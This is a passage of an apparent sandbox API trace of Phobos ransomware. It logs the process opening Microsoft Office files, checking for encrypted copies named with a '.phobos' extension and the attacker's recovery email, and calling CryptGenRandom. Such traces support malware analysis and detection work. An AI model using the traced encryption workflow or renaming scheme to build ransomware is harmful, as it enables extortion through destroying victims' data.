(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.539] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.544] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4219) returned 1 [0151.544] CloseHandle (hObject=0x564) returned 1 [0151.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0151.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.547] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.550] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=8501) returned 1 [0151.550] CloseHandle (hObject=0x564) returned 1 [0151.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0151.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.557] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.565] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4961) returned 1 [0151.565] CloseHandle (hObject=0x564) returned 1 [0151.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0151.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.566] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.583] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=334131) returned 1 [0151.583] CloseHandle (hObject=0x564) returned 1 [0151.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0151.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.591] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=335038) returned 1 [0151.591] CloseHandle (hObject=0x564) returned 1 [0151.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0151.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.592] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.601] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=54347) returned 1 [0151.601] CloseHandle (hObject=0x564) returned 1 [0151.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0151.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.601] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.619] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=44971) returned 1 [0151.619] CloseHandle (hObject=0x564) returned 1 [0151.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0151.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.626] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.630] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=48366) returned 1 [0151.630] CloseHandle (hObject=0x564) returned 1 [0151.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0151.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.631] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=186195) returned 1 [0151.632] CloseHandle (hObject=0x564) returned 1 [0151.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0151.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.632] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.635] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45435) returned 1 [0151.635] CloseHandle (hObject=0x564) returned 1 [0151.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0151.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.638] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.641] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=18624) returned 1 [0151.641] CloseHandle (hObject=0x564) returned 1 [0151.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0151.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.642] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.648] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21184) returned 1 [0151.648] CloseHandle (hObject=0x564) returned 1 [0151.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0151.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.654] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19136) returned 1 [0151.654] CloseHandle (hObject=0x564) returned 1 [0151.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0151.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.654] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.656] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=18624) returned 1 [0151.656] CloseHandle (hObject=0x564) returned 1 [0151.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0151.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.657] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.659] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11616) returned 1 [0151.659] CloseHandle (hObject=0x564) returned 1 [0151.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0151.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.659] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.660] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19648) returned 1 [0151.660] CloseHandle (hObject=0x564) returned 1 [0151.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0151.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" 